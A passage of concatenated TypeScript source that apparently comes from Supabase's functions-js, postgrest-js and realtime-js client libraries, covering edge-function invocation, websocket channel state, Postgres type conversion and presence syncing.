FunctionsResponse = FunctionsResponseSuccess | FunctionsResponseFailure\n\nexport class FunctionsError extends Error {\n context: any\n constructor(message: string, name = 'FunctionsError', context?: any) {\n super(message)\n this.name = name\n this.context = context\n }\n}\n\nexport class FunctionsFetchError extends FunctionsError {\n constructor(context: any) {\n super('Failed to send a request to the Edge Function', 'FunctionsFetchError', context)\n }\n}\n\nexport class FunctionsRelayError extends FunctionsError {\n constructor(context: any) {\n super('Relay Error invoking the Edge Function', 'FunctionsRelayError', context)\n }\n}\n\nexport class FunctionsHttpError extends FunctionsError {\n constructor(context: any) {\n super('Edge Function returned a non-2xx status code', 'FunctionsHttpError', context)\n }\n}\n// Define the enum for the 'region' property\nexport enum FunctionRegion {\n Any = 'any',\n ApNortheast1 = 'ap-northeast-1',\n ApNortheast2 = 'ap-northeast-2',\n ApSouth1 = 'ap-south-1',\n ApSoutheast1 = 'ap-southeast-1',\n ApSoutheast2 = 'ap-southeast-2',\n CaCentral1 = 'ca-central-1',\n EuCentral1 = 'eu-central-1',\n EuWest1 = 'eu-west-1',\n EuWest2 = 'eu-west-2',\n EuWest3 = 'eu-west-3',\n SaEast1 = 'sa-east-1',\n UsEast1 = 'us-east-1',\n UsWest1 = 'us-west-1',\n UsWest2 = 'us-west-2',\n}\n\nexport type FunctionInvokeOptions = {\n /**\n * Object representing the headers to send with the request.\n * */\n headers?: { [key: string]: string }\n /**\n * The HTTP verb of the request\n */\n method?: 'POST' | 'GET' | 'PUT' | 'PATCH' | 'DELETE'\n /**\n * The Region to invoke the function in.\n */\n region?: FunctionRegion\n /**\n * The body of the request.\n */\n body?:\n | File\n | Blob\n | ArrayBuffer\n | FormData\n | ReadableStream\n | Record\n | string\n}\n", "import { resolveFetch } from './helper'\nimport {\n Fetch,\n FunctionsFetchError,\n FunctionsHttpError,\n FunctionsRelayError,\n FunctionsResponse,\n FunctionInvokeOptions,\n FunctionRegion,\n} from './types'\n\nexport class FunctionsClient {\n protected url: string\n protected headers: Record\n protected region: FunctionRegion\n protected fetch: Fetch\n\n constructor(\n url: string,\n {\n headers = {},\n customFetch,\n region = FunctionRegion.Any,\n }: {\n headers?: Record\n customFetch?: Fetch\n region?: FunctionRegion\n } = {}\n ) {\n this.url = url\n this.headers = headers\n this.region = region\n this.fetch = resolveFetch(customFetch)\n }\n\n /**\n * Updates the authorization header\n * @param token - the new jwt token sent in the authorisation header\n */\n setAuth(token: string) {\n this.headers.Authorization = `Bearer ${token}`\n }\n\n /**\n * Invokes a function\n * @param functionName - The name of the Function to invoke.\n * @param options - Options for invoking the Function.\n */\n async invoke(\n functionName: string,\n options: FunctionInvokeOptions = {}\n ): Promise> {\n try {\n const { headers, method, body: functionArgs } = options\n let _headers: Record = {}\n let { region } = options\n if (!region) {\n region = this.region\n }\n if (region && region !== 'any') {\n _headers['x-region'] = region\n }\n let body: any\n if (\n functionArgs &&\n ((headers && !Object.prototype.hasOwnProperty.call(headers, 'Content-Type')) || !headers)\n ) {\n if (\n (typeof Blob !== 'undefined' && functionArgs instanceof Blob) ||\n functionArgs instanceof ArrayBuffer\n ) {\n // will work for File as File inherits Blob\n // also works for ArrayBuffer as it is the same underlying structure as a Blob\n _headers['Content-Type'] = 'application/octet-stream'\n body = functionArgs\n } else if (typeof functionArgs === 'string') {\n // plain string\n _headers['Content-Type'] = 'text/plain'\n body = functionArgs\n } else if (typeof FormData !== 'undefined' && functionArgs instanceof FormData) {\n // don't set content-type headers\n // Request will automatically add the right boundary value\n body = functionArgs\n } else {\n // default, assume this is JSON\n _headers['Content-Type'] = 'application/json'\n body = JSON.stringify(functionArgs)\n }\n }\n\n const response = await this.fetch(`${this.url}/${functionName}`, {\n method: method || 'POST',\n // headers priority is (high to low):\n // 1. invoke-level headers\n // 2. client-level headers\n // 3. default Content-Type header\n headers: { ..._headers, ...this.headers, ...headers },\n body,\n }).catch((fetchError) => {\n throw new FunctionsFetchError(fetchError)\n })\n\n const isRelayError = response.headers.get('x-relay-error')\n if (isRelayError && isRelayError === 'true') {\n throw new FunctionsRelayError(response)\n }\n\n if (!response.ok) {\n throw new FunctionsHttpError(response)\n }\n\n let responseType = (response.headers.get('Content-Type') ?? 'text/plain').split(';')[0].trim()\n let data: any\n if (responseType === 'application/json') {\n data = await response.json()\n } else if (responseType === 'application/octet-stream') {\n data = await response.blob()\n } else if (responseType === 'text/event-stream') {\n data = response\n } else if (responseType === 'multipart/form-data') {\n data = await response.formData()\n } else {\n // default to text\n data = await response.text()\n }\n\n return { data, error: null }\n } catch (error) {\n return { data: null, error }\n }\n }\n}\n", "import index from '../cjs/index.js'\nconst {\n PostgrestClient,\n PostgrestQueryBuilder,\n PostgrestFilterBuilder,\n PostgrestTransformBuilder,\n PostgrestBuilder,\n} = index\n\nexport {\n PostgrestBuilder,\n PostgrestClient,\n PostgrestFilterBuilder,\n PostgrestQueryBuilder,\n PostgrestTransformBuilder,\n}\n\n// compatibility with CJS output\nexport default {\n PostgrestClient,\n PostgrestQueryBuilder,\n PostgrestFilterBuilder,\n PostgrestTransformBuilder,\n PostgrestBuilder,\n}\n", "export const version = '2.10.2'\n", "import { version } from './version'\n\nexport const DEFAULT_HEADERS = { 'X-Client-Info': `realtime-js/${version}` }\n\nexport const VSN: string = '1.0.0'\n\nexport const DEFAULT_TIMEOUT = 10000\n\nexport const WS_CLOSE_NORMAL = 1000\n\nexport enum SOCKET_STATES {\n connecting = 0,\n open = 1,\n closing = 2,\n closed = 3,\n}\n\nexport enum CHANNEL_STATES {\n closed = 'closed',\n errored = 'errored',\n joined = 'joined',\n joining = 'joining',\n leaving = 'leaving',\n}\n\nexport enum CHANNEL_EVENTS {\n close = 'phx_close',\n error = 'phx_error',\n join = 'phx_join',\n reply = 'phx_reply',\n leave = 'phx_leave',\n access_token = 'access_token',\n}\n\nexport enum TRANSPORTS {\n websocket = 'websocket',\n}\n\nexport enum CONNECTION_STATE {\n Connecting = 'connecting',\n Open = 'open',\n Closing = 'closing',\n Closed = 'closed',\n}\n", "// This file draws heavily from https://github.com/phoenixframework/phoenix/commit/cf098e9cf7a44ee6479d31d911a97d3c7430c6fe\n// License: https://github.com/phoenixframework/phoenix/blob/master/LICENSE.md\n\nexport default class Serializer {\n HEADER_LENGTH = 1\n\n decode(rawPayload: ArrayBuffer | string, callback: Function) {\n if (rawPayload.constructor === ArrayBuffer) {\n return callback(this._binaryDecode(rawPayload))\n }\n\n if (typeof rawPayload === 'string') {\n return callback(JSON.parse(rawPayload))\n }\n\n return callback({})\n }\n\n private _binaryDecode(buffer: ArrayBuffer) {\n const view = new DataView(buffer)\n const decoder = new TextDecoder()\n\n return this._decodeBroadcast(buffer, view, decoder)\n }\n\n private _decodeBroadcast(\n buffer: ArrayBuffer,\n view: DataView,\n decoder: TextDecoder\n ): {\n ref: null\n topic: string\n event: string\n payload: { [key: string]: any }\n } {\n const topicSize = view.getUint8(1)\n const eventSize = view.getUint8(2)\n let offset = this.HEADER_LENGTH + 2\n const topic = decoder.decode(buffer.slice(offset, offset + topicSize))\n offset = offset + topicSize\n const event = decoder.decode(buffer.slice(offset, offset + eventSize))\n offset = offset + eventSize\n const data = JSON.parse(\n decoder.decode(buffer.slice(offset, buffer.byteLength))\n )\n\n return { ref: null, topic: topic, event: event, payload: data }\n }\n}\n", "/**\n * Creates a timer that accepts a `timerCalc` function to perform calculated timeout retries, such as exponential backoff.\n *\n * @example\n * let reconnectTimer = new Timer(() => this.connect(), function(tries){\n * return [1000, 5000, 10000][tries - 1] || 10000\n * })\n * reconnectTimer.scheduleTimeout() // fires after 1000\n * reconnectTimer.scheduleTimeout() // fires after 5000\n * reconnectTimer.reset()\n * reconnectTimer.scheduleTimeout() // fires after 1000\n */\nexport default class Timer {\n timer: number | undefined = undefined\n tries: number = 0\n\n constructor(public callback: Function, public timerCalc: Function) {\n this.callback = callback\n this.timerCalc = timerCalc\n }\n\n reset() {\n this.tries = 0\n clearTimeout(this.timer)\n }\n\n // Cancels any previous scheduleTimeout and schedules callback\n scheduleTimeout() {\n clearTimeout(this.timer)\n\n this.timer = setTimeout(() => {\n this.tries = this.tries + 1\n this.callback()\n }, this.timerCalc(this.tries + 1))\n }\n}\n", "/**\n * Helpers to convert the change Payload into native JS types.\n */\n\n// Adapted from epgsql (src/epgsql_binary.erl), this module licensed under\n// 3-clause BSD found here: https://raw.githubusercontent.com/epgsql/epgsql/devel/LICENSE\n\nexport enum PostgresTypes {\n abstime = 'abstime',\n bool = 'bool',\n date = 'date',\n daterange = 'daterange',\n float4 = 'float4',\n float8 = 'float8',\n int2 = 'int2',\n int4 = 'int4',\n int4range = 'int4range',\n int8 = 'int8',\n int8range = 'int8range',\n json = 'json',\n jsonb = 'jsonb',\n money = 'money',\n numeric = 'numeric',\n oid = 'oid',\n reltime = 'reltime',\n text = 'text',\n time = 'time',\n timestamp = 'timestamp',\n timestamptz = 'timestamptz',\n timetz = 'timetz',\n tsrange = 'tsrange',\n tstzrange = 'tstzrange',\n}\n\ntype Columns = {\n name: string // the column name. eg: \"user_id\"\n type: string // the column type. eg: \"uuid\"\n flags?: string[] // any special flags for the column. eg: [\"key\"]\n type_modifier?: number // the type modifier. eg: 4294967295\n}[]\n\ntype BaseValue = null | string | number | boolean\ntype RecordValue = BaseValue | BaseValue[]\n\ntype Record = {\n [key: string]: RecordValue\n}\n\n/**\n * Takes an array of columns and an object of string values then converts each string value\n * to its mapped type.\n *\n * @param {{name: String, type: String}[]} columns\n * @param {Object} record\n * @param {Object} options The map of various options that can be applied to the mapper\n * @param {Array} options.skipTypes The array of types that should not be converted\n *\n * @example convertChangeData([{name: 'first_name', type: 'text'}, {name: 'age', type: 'int4'}], {first_name: 'Paul', age:'33'}, {})\n * //=>{ first_name: 'Paul', age: 33 }\n */\nexport const convertChangeData = (\n columns: Columns,\n record: Record,\n options: { skipTypes?: string[] } = {}\n): Record => {\n const skipTypes = options.skipTypes ?? []\n\n return Object.keys(record).reduce((acc, rec_key) => {\n acc[rec_key] = convertColumn(rec_key, columns, record, skipTypes)\n return acc\n }, {} as Record)\n}\n\n/**\n * Converts the value of an individual column.\n *\n * @param {String} columnName The column that you want to convert\n * @param {{name: String, type: String}[]} columns All of the columns\n * @param {Object} record The map of string values\n * @param {Array} skipTypes An array of types that should not be converted\n * @return {object} Useless information\n *\n * @example convertColumn('age', [{name: 'first_name', type: 'text'}, {name: 'age', type: 'int4'}], {first_name: 'Paul', age: '33'}, [])\n * //=> 33\n * @example convertColumn('age', [{name: 'first_name', type: 'text'}, {name: 'age', type: 'int4'}], {first_name: 'Paul', age: '33'}, ['int4'])\n * //=> \"33\"\n */\nexport const convertColumn = (\n columnName: string,\n columns: Columns,\n record: Record,\n skipTypes: string[]\n): RecordValue => {\n const column = columns.find((x) => x.name === columnName)\n const colType = column?.type\n const value = record[columnName]\n\n if (colType && !skipTypes.includes(colType)) {\n return convertCell(colType, value)\n }\n\n return noop(value)\n}\n\n/**\n * If the value of the cell is `null`, returns null.\n * Otherwise converts the string value to the correct type.\n * @param {String} type A postgres column type\n * @param {String} value The cell value\n *\n * @example convertCell('bool', 't')\n * //=> true\n * @example convertCell('int8', '10')\n * //=> 10\n * @example convertCell('_int4', '{1,2,3,4}')\n * //=> [1,2,3,4]\n */\nexport const convertCell = (type: string, value: RecordValue): RecordValue => {\n // if data type is an array\n if (type.charAt(0) === '_') {\n const dataType = type.slice(1, type.length)\n return toArray(value, dataType)\n }\n\n // If not null, convert to correct type.\n switch (type) {\n case PostgresTypes.bool:\n return toBoolean(value)\n case PostgresTypes.float4:\n case PostgresTypes.float8:\n case PostgresTypes.int2:\n case PostgresTypes.int4:\n case PostgresTypes.int8:\n case PostgresTypes.numeric:\n case PostgresTypes.oid:\n return toNumber(value)\n case PostgresTypes.json:\n case PostgresTypes.jsonb:\n return toJson(value)\n case PostgresTypes.timestamp:\n return toTimestampString(value) // Format to be consistent with PostgREST\n case PostgresTypes.abstime: // To allow users to cast it based on Timezone\n case PostgresTypes.date: // To allow users to cast it based on Timezone\n case PostgresTypes.daterange:\n case PostgresTypes.int4range:\n case PostgresTypes.int8range:\n case PostgresTypes.money:\n case PostgresTypes.reltime: // To allow users to cast it based on Timezone\n case PostgresTypes.text:\n case PostgresTypes.time: // To allow users to cast it based on Timezone\n case PostgresTypes.timestamptz: // To allow users to cast it based on Timezone\n case PostgresTypes.timetz: // To allow users to cast it based on Timezone\n case PostgresTypes.tsrange:\n case PostgresTypes.tstzrange:\n return noop(value)\n default:\n // Return the value for remaining types\n return noop(value)\n }\n}\n\nconst noop = (value: RecordValue): RecordValue => {\n return value\n}\nexport const toBoolean = (value: RecordValue): RecordValue => {\n switch (value) {\n case 't':\n return true\n case 'f':\n return false\n default:\n return value\n }\n}\nexport const toNumber = (value: RecordValue): RecordValue => {\n if (typeof value === 'string') {\n const parsedValue = parseFloat(value)\n if (!Number.isNaN(parsedValue)) {\n return parsedValue\n }\n }\n return value\n}\nexport const toJson = (value: RecordValue): RecordValue => {\n if (typeof value === 'string') {\n try {\n return JSON.parse(value)\n } catch (error) {\n console.log(`JSON parse error: ${error}`)\n return value\n }\n }\n return value\n}\n\n/**\n * Converts a Postgres Array into a native JS array\n *\n * @example toArray('{}', 'int4')\n * //=> []\n * @example toArray('{\"[2021-01-01,2021-12-31)\",\"(2021-01-01,2021-12-32]\"}', 'daterange')\n * //=> ['[2021-01-01,2021-12-31)', '(2021-01-01,2021-12-32]']\n * @example toArray([1,2,3,4], 'int4')\n * //=> [1,2,3,4]\n */\nexport const toArray = (value: RecordValue, type: string): RecordValue => {\n if (typeof value !== 'string') {\n return value\n }\n\n const lastIdx = value.length - 1\n const closeBrace = value[lastIdx]\n const openBrace = value[0]\n\n // Confirm value is a Postgres array by checking curly brackets\n if (openBrace === '{' && closeBrace === '}') {\n let arr\n const valTrim = value.slice(1, lastIdx)\n\n // TODO: find a better solution to separate Postgres array data\n try {\n arr = JSON.parse('[' + valTrim + ']')\n } catch (_) {\n // WARNING: splitting on comma does not cover all edge cases\n arr = valTrim ? valTrim.split(',') : []\n }\n\n return arr.map((val: BaseValue) => convertCell(type, val))\n }\n\n return value\n}\n\n/**\n * Fixes timestamp to be ISO-8601. Swaps the space between the date and time for a 'T'\n * See https://github.com/supabase/supabase/issues/18\n *\n * @example toTimestampString('2019-09-10 00:00:00')\n * //=> '2019-09-10T00:00:00'\n */\nexport const toTimestampString = (value: RecordValue): RecordValue => {\n if (typeof value === 'string') {\n return value.replace(' ', 'T')\n }\n\n return value\n}\n\nexport const httpEndpointURL = (socketUrl: string): string => {\n let url = socketUrl\n url = url.replace(/^ws/i, 'http')\n url = url.replace(/(\\/socket\\/websocket|\\/socket|\\/websocket)\\/?$/i, '')\n return url.replace(/\\/+$/, '')\n}\n", "import { DEFAULT_TIMEOUT } from '../lib/constants'\nimport type RealtimeChannel from '../RealtimeChannel'\n\nexport default class Push {\n sent: boolean = false\n timeoutTimer: number | undefined = undefined\n ref: string = ''\n receivedResp: {\n status: string\n response: { [key: string]: any }\n } | null = null\n recHooks: {\n status: string\n callback: Function\n }[] = []\n refEvent: string | null = null\n\n /**\n * Initializes the Push\n *\n * @param channel The Channel\n * @param event The event, for example `\"phx_join\"`\n * @param payload The payload, for example `{user_id: 123}`\n * @param timeout The push timeout in milliseconds\n */\n constructor(\n public channel: RealtimeChannel,\n public event: string,\n public payload: { [key: string]: any } = {},\n public timeout: number = DEFAULT_TIMEOUT\n ) {}\n\n resend(timeout: number) {\n this.timeout = timeout\n this._cancelRefEvent()\n this.ref = ''\n this.refEvent = null\n this.receivedResp = null\n this.sent = false\n this.send()\n }\n\n send() {\n if (this._hasReceived('timeout')) {\n return\n }\n this.startTimeout()\n this.sent = true\n this.channel.socket.push({\n topic: this.channel.topic,\n event: this.event,\n payload: this.payload,\n ref: this.ref,\n join_ref: this.channel._joinRef(),\n })\n }\n\n updatePayload(payload: { [key: string]: any }): void {\n this.payload = { ...this.payload, ...payload }\n }\n\n receive(status: string, callback: Function) {\n if (this._hasReceived(status)) {\n callback(this.receivedResp?.response)\n }\n\n this.recHooks.push({ status, callback })\n return this\n }\n\n startTimeout() {\n if (this.timeoutTimer) {\n return\n }\n this.ref = this.channel.socket._makeRef()\n this.refEvent = this.channel._replyEventName(this.ref)\n\n const callback = (payload: any) => {\n this._cancelRefEvent()\n this._cancelTimeout()\n this.receivedResp = payload\n this._matchReceive(payload)\n }\n\n this.channel._on(this.refEvent, {}, callback)\n\n this.timeoutTimer = setTimeout(() => {\n this.trigger('timeout', {})\n }, this.timeout)\n }\n\n trigger(status: string, response: any) {\n if (this.refEvent)\n this.channel._trigger(this.refEvent, { status, response })\n }\n\n destroy() {\n this._cancelRefEvent()\n this._cancelTimeout()\n }\n\n private _cancelRefEvent() {\n if (!this.refEvent) {\n return\n }\n\n this.channel._off(this.refEvent, {})\n }\n\n private _cancelTimeout() {\n clearTimeout(this.timeoutTimer)\n this.timeoutTimer = undefined\n }\n\n private _matchReceive({\n status,\n response,\n }: {\n status: string\n response: Function\n }) {\n this.recHooks\n .filter((h) => h.status === status)\n .forEach((h) => h.callback(response))\n }\n\n private _hasReceived(status: string) {\n return this.receivedResp && this.receivedResp.status === status\n }\n}\n", "/*\n This file draws heavily from https://github.com/phoenixframework/phoenix/blob/d344ec0a732ab4ee204215b31de69cf4be72e3bf/assets/js/phoenix/presence.js\n License: https://github.com/phoenixframework/phoenix/blob/d344ec0a732ab4ee204215b31de69cf4be72e3bf/LICENSE.md\n*/\n\nimport type {\n PresenceOpts,\n PresenceOnJoinCallback,\n PresenceOnLeaveCallback,\n} from 'phoenix'\nimport type RealtimeChannel from './RealtimeChannel'\n\ntype Presence = {\n presence_ref: string\n} & T\n\nexport type RealtimePresenceState = {\n [key: string]: Presence[]\n}\n\nexport type RealtimePresenceJoinPayload = {\n event: `${REALTIME_PRESENCE_LISTEN_EVENTS.JOIN}`\n key: string\n currentPresences: Presence[]\n newPresences: Presence[]\n}\n\nexport type RealtimePresenceLeavePayload = {\n event: `${REALTIME_PRESENCE_LISTEN_EVENTS.LEAVE}`\n key: string\n currentPresences: Presence[]\n leftPresences: Presence[]\n}\n\nexport enum REALTIME_PRESENCE_LISTEN_EVENTS {\n SYNC = 'sync',\n JOIN = 'join',\n LEAVE = 'leave',\n}\n\ntype PresenceDiff = {\n joins: RealtimePresenceState\n leaves: RealtimePresenceState\n}\n\ntype RawPresenceState = {\n [key: string]: {\n metas: {\n phx_ref?: string\n phx_ref_prev?: string\n [key: string]: any\n }[]\n }\n}\n\ntype RawPresenceDiff = {\n joins: RawPresenceState\n leaves: RawPresenceState\n}\n\ntype PresenceChooser = (key: string, presences: Presence[]) => T\n\nexport default class RealtimePresence {\n state: RealtimePresenceState = {}\n pendingDiffs: RawPresenceDiff[] = []\n joinRef: string | null = null\n caller: {\n onJoin: PresenceOnJoinCallback\n onLeave: PresenceOnLeaveCallback\n onSync: () => void\n } = {\n onJoin: () => {},\n onLeave: () => {},\n onSync: () => {},\n }\n\n /**\n * Initializes the Presence.\n *\n * @param channel - The RealtimeChannel\n * @param opts - The options,\n * for example `{events: {state: 'state', diff: 'diff'}}`\n */\n constructor(public channel: RealtimeChannel, opts?: PresenceOpts) {\n const events = opts?.events || {\n state: 'presence_state',\n diff: 'presence_diff',\n }\n\n this.channel._on(events.state, {}, (newState: RawPresenceState) => {\n const { onJoin, onLeave, onSync } = this.caller\n\n this.joinRef = this.channel._joinRef()\n\n this.state = RealtimePresence.syncState(\n this.state,\n newState,\n onJoin,\n onLeave\n )\n\n this.pendingDiffs.forEach((diff) => {\n this.state = RealtimePresence.syncDiff(\n this.state,\n diff,\n onJoin,\n onLeave\n )\n })\n\n this.pendingDiffs = []\n\n onSync()\n })\n\n this.channel._on(events.diff, {}, (diff: RawPresenceDiff) => {\n const { onJoin, onLeave, onSync } = this.caller\n\n if (this.inPendingSyncState()) {\n this.pendingDiffs.push(diff)\n } else {\n this.state = RealtimePresence.syncDiff(\n this.state,\n diff,\n onJoin,\n onLeave\n )\n\n onSync()\n }\n })\n\n this.onJoin((key, currentPresences, newPresences) => {\n this.channel._trigger('presence', {\n event: 'join',\n key,\n currentPresences,\n newPresences,\n })\n })\n\n this.onLeave((key, currentPresences, leftPresences) => {\n this.channel._trigger('presence', {\n event: 'leave',\n key,\n currentPresences,\n leftPresences,\n })\n })\n\n this.onSync(() => {\n this.channel._trigger('presence', { event: 'sync' })\n })\n }\n\n /**\n * Used to sync the list of presences on the server with the\n * client's state.\n *\n * An optional `onJoin` and `onLeave` callback can be provided to\n * react to changes in the client's local presences across\n * disconnects and reconnects with the server.\n *\n * @internal\n */\n private static syncState(\n currentState: RealtimePresenceState,\n newState: RawPresenceState | RealtimePresenceState,\n onJoin: PresenceOnJoinCallback,\n onLeave: PresenceOnLeaveCallback\n ): RealtimePresenceState {\n const state = this.cloneDeep(currentState)\n const transformedState = this.transformState(newState)\n const joins: RealtimePresenceState = {}\n const leaves: RealtimePresenceState = {}\n\n this.map(state, (key: string, presences: Presence[]) => {\n if (!transformedState[key]) {\n leaves[key] = presences\n }\n })\n\n this.map(transformedState, (key, newPresences: Presence[]) => {\n const currentPresences: Presence[] = state[key]\n\n if (currentPresences) {\n const newPresenceRefs = newPresences.map(\n (m: Presence) => m.presence_ref\n )\n const curPresenceRefs = currentPresences.map(\n (m: Presence) => m.presence_ref\n )\n const joinedPresences: Presence[] = newPresences.filter(\n (m: Presence) => curPresenceRefs.indexOf(m.presence_ref) < 0\n )\n const leftPresences: Presence[] = currentPresences.filter(\n (m: Presence) => newPresenceRefs.indexOf(m.presence_ref) < 0\n )\n\n if (joinedPresences.length > 0) {\n joins[key] = joinedPresences\n }\n\n if (leftPresences.length > 0) {\n leaves[key] = leftPresences\n }\n } else {\n joins[key] = newPresences\n }\n })\n\n return this.syncDiff(state, { joins, leaves }, onJoin, onLeave)\n }\n\n /**\n * Used to sync a diff of presence join and leave events from the\n * server, as they happen.\n *\n * Like `syncState`, `syncDiff` accepts optional `onJoin` and\n * `onLeave` callbacks to react to a user joining or leaving from a\n * device.\n *\n * @internal\n */\n private static syncDiff(\n state: RealtimePresenceState,\n diff: RawPresenceDiff | PresenceDiff,\n onJoin: PresenceOnJoinCallback,\n onLeave: PresenceOnLeaveCallback\n ): RealtimePresenceState {\n const { joins, leaves } = {\n joins: this.transformState(diff.joins),\n leaves: this.transformState(diff.leaves),\n }\n\n if (!onJoin) {\n onJoin = () => {}\n }\n\n if (!onLeave) {\n onLeave = () => {}\n }\n\n this.map(joins, (key, newPresences: Presence[]) => {\n const currentPresences: Presence[] = state[key] ?? []\n state[key] = this.cloneDeep(newPresences)\n\n if (currentPresences.length > 0) {\n const joinedPresenceRefs = state[key].map(\n (m: Presence) => m.presence_ref\n )\n const curPresences: Presence[] = currentPresences.filter(\n (m: Presence) => joinedPresenceRefs.indexOf(m.presence_ref) < 0\n )\n\n state[key].unshift(...curPresences)\n }\n\n onJoin(key, currentPresences, newPresences)\n })\n\n this.map(leaves, (key, leftPresences: Presence[]) => {\n let currentPresences: Presence[] = state[key]\n\n if (!currentPresences) return\n\n const presenceRefsToRemove = leftPresences.map(\n (m: Presence) => m.presence_ref\n )\n currentPresences = currentPresences.filter(\n (m: Presence) => presenceRefsToRemove.indexOf(m.presence_ref) < 0\n )\n\n state[key] = currentPresences\n\n onLeave(key, currentPresences, leftPresences)\n\n if (currentPresences.length === 0) delete state[key]\n })\n\n return state\n }\n\n /** @internal */\n private static map(\n obj: RealtimePresenceState,\n func: PresenceChooser\n ): T[] {\n return Object.getOwnPropertyNames(obj).map((key) => func(key, obj[key]))\n }\n\n /**\n * Remove 'metas' key\n * Change 'phx_ref' to 'presence_ref'\n * Remove 'phx_ref' and 'phx_ref_prev'\n *\n * @example\n * // returns {\n * abc123: [\n * { presence_ref: '2', user_id: 1 },\n * { presence_ref: '3', user_id: 2 }\n * ]\n * }\n * RealtimePresence.transformState({\n * abc123: {\n * metas: [\n * { phx_ref: '2', phx_ref_prev: '1' user_id: 1 },\n * { phx_ref: '3', user_id: 2 }\n * ]\n * }\n * })\n *\n * @internal\n */\n private static transformState(\n state: RawPresenceState | RealtimePresenceState\n ): RealtimePresenceState {\n state = this.cloneDeep(state)\n\n return Object.getOwnPropertyNames(state).reduce((newState, key) => {\n const presences = state[key]\n\n if ('metas' in presences) {\n newState[key] = presences.metas.map((presence) => {\n presence['presence_ref'] = presence['phx_ref']\n\n delete presence['phx_ref']\n delete presence['phx_ref_prev']\n\n return presence\n }) as Presence[]\n } else {\n newState[key] = presences\n }\n\n return newState\n }, {} as RealtimePresenceState)\n }\n\n /** @internal */\n private static cloneDeep(obj: { [key: string]: any }) {\n return JSON.parse(JSON.stringify(obj))\n }\n\n /** @internal */\n private onJoin(callback: PresenceOnJoinCallback): void {\n this.caller.onJoin = callback\n }\n\n /** @internal */\n private onLeave(callback: PresenceOnLeaveCallback): void {\n this.caller.onLeave = callback\n }\n\n /** @internal */\n private onSync(callback: () => void): void {\n this.caller.onSync = callback\n }\n\n /** @internal */\n private inPendingSyncState(): boolean {\n return !this.joinRef || this.joinRef !== this.channel._joinRef()\n }\n}\n", "import { CHANNEL_EVENTS, CHANNEL_STATES } from './lib/constants'\nimport Push from './lib/push'\nimport type RealtimeClient from './RealtimeClient'\nimport Timer from './lib/timer'\nimport RealtimePresence, {\n REALTIME_PRESENCE_LISTEN_EVENTS,\n} from './RealtimePresence'\nimport type {\n RealtimePresenceJoinPayload,\n RealtimePresenceLeavePayload,\n RealtimePresenceState,\n} from './RealtimePresence'\nimport * as Transformers from './lib/transformers'\nimport { httpEndpointURL } from './lib/transformers'\n\nexport type RealtimeChannelOptions = {\n config: {\n /**\n * self option enables client to receive message it broadcast\n * ack option instructs server to acknowledge that broadcast message was received\n */\n broadcast?: { self?: boolean; ack?: boolean }\n /**\n * key option is used to track presence payload across clients\n */\n presence?: { key?: string }\n /**\n * defines if the channel is private or not and if RLS policies will be used to check data\n */\n private?: boolean\n }\n}\n\ntype RealtimePostgresChangesPayloadBase = {\n schema: string\n table: string\n commit_timestamp: string\n errors: string[]\n}\n\nexport type RealtimePostgresInsertPayload =\n RealtimePostgresChangesPayloadBase & {\n eventType: `${REALTIME_POSTGRES_CHANGES_LISTEN_EVENT.INSERT}`\n new: T\n old: {}\n }\n\nexport type RealtimePostgresUpdatePayload =\n RealtimePostgresChangesPayloadBase & {\n eventType: `${REALTIME_POSTGRES_CHANGES_LISTEN_EVENT.UPDATE}`\n new: T\n old: Partial\n }\n\nexport type RealtimePostgresDeletePayload =\n RealtimePostgresChangesPayloadBase & {\n eventType: `${REALTIME_POSTGRES_CHANGES_LISTEN_EVENT.DELETE}`\n new: {}\n old: Partial\n }\n\nexport type RealtimePostgresChangesPayload =\n | RealtimePostgresInsertPayload\n | RealtimePostgresUpdatePayload\n | RealtimePostgresDeletePayload\n\nexport type RealtimePostgresChangesFilter<\n T extends `${REALTIME_POSTGRES_CHANGES_LISTEN_EVENT}`\n> = {\n /**\n * The type of database change to listen to.\n */\n event: T\n /**\n * The database schema to listen to.\n */\n schema: string\n /**\n * The database table to listen to.\n */\n table?: string\n /**\n * Receive database changes when filter is matched.\n */\n filter?: string\n}\n\nexport type RealtimeChannelSendResponse = 'ok' | 'timed out' | 'error'\n\nexport enum REALTIME_POSTGRES_CHANGES_LISTEN_EVENT {\n ALL = '*',\n INSERT = 'INSERT',\n UPDATE = 'UPDATE',\n DELETE = 'DELETE',\n}\n\nexport enum REALTIME_LISTEN_TYPES {\n BROADCAST = 'broadcast',\n PRESENCE = 'presence',\n /**\n * listen to Postgres changes.\n */\n POSTGRES_CHANGES = 'postgres_changes',\n}\n\nexport enum REALTIME_SUBSCRIBE_STATES {\n SUBSCRIBED = 'SUBSCRIBED',\n TIMED_OUT = 'TIMED_OUT',\n CLOSED = 'CLOSED',\n CHANNEL_ERROR = 'CHANNEL_ERROR',\n}\n\nexport const REALTIME_CHANNEL_STATES = CHANNEL_STATES\n\n/** A channel is the basic building block of Realtime\n * and narrows the scope of data flow to subscribed clients.\n * You can think of a channel as a chatroom where participants are able to see who's online\n * and send and receive messages.\n */\nexport default class RealtimeChannel {\n bindings: {\n [key: string]: {\n type: string\n filter: { [key: string]: any }\n callback: Function\n id?: string\n }[]\n } = {}\n timeout: number\n state = CHANNEL_STATES.closed\n joinedOnce = false\n joinPush: Push\n rejoinTimer: Timer\n pushBuffer: Push[] = []\n presence: RealtimePresence\n broadcastEndpointURL: string\n subTopic: string\n\n constructor(\n /** Topic name can be any string. */\n public topic: string,\n public params: RealtimeChannelOptions = { config: {} },\n public socket: RealtimeClient\n ) {\n this.subTopic = topic.replace(/^realtime:/i, '')\n this.params.config = {\n ...{\n broadcast: { ack: false, self: false },\n presence: { key: '' },\n private: false,\n },\n ...params.config,\n }\n this.timeout = this.socket.timeout\n this.joinPush = new Push(\n this,\n CHANNEL_EVENTS.join,\n this.params,\n this.timeout\n )\n this.rejoinTimer = new Timer(\n () => this._rejoinUntilConnected(),\n this.socket.reconnectAfterMs\n )\n this.joinPush.receive('ok', () => {\n this.state = CHANNEL_STATES.joined\n this.rejoinTimer.reset()\n this.pushBuffer.forEach((pushEvent: Push) => pushEvent.send())\n this.pushBuffer = []\n })\n this._onClose(() => {\n this.rejoinTimer.reset()\n this.socket.log('channel', `close ${this.topic} ${this._joinRef()}`)\n this.state = CHANNEL_STATES.closed\n this.socket._remove(this)\n })\n this._onError((reason: string) => {\n if (this._isLeaving() || this._isClosed()) {\n return\n }\n this.socket.log('channel', `error ${this.topic}`, reason)\n this.state = CHANNEL_STATES.errored\n this.rejoinTimer.scheduleTimeout()\n })\n this.joinPush.receive('timeout', () => {\n if (!this._isJoining()) {\n return\n 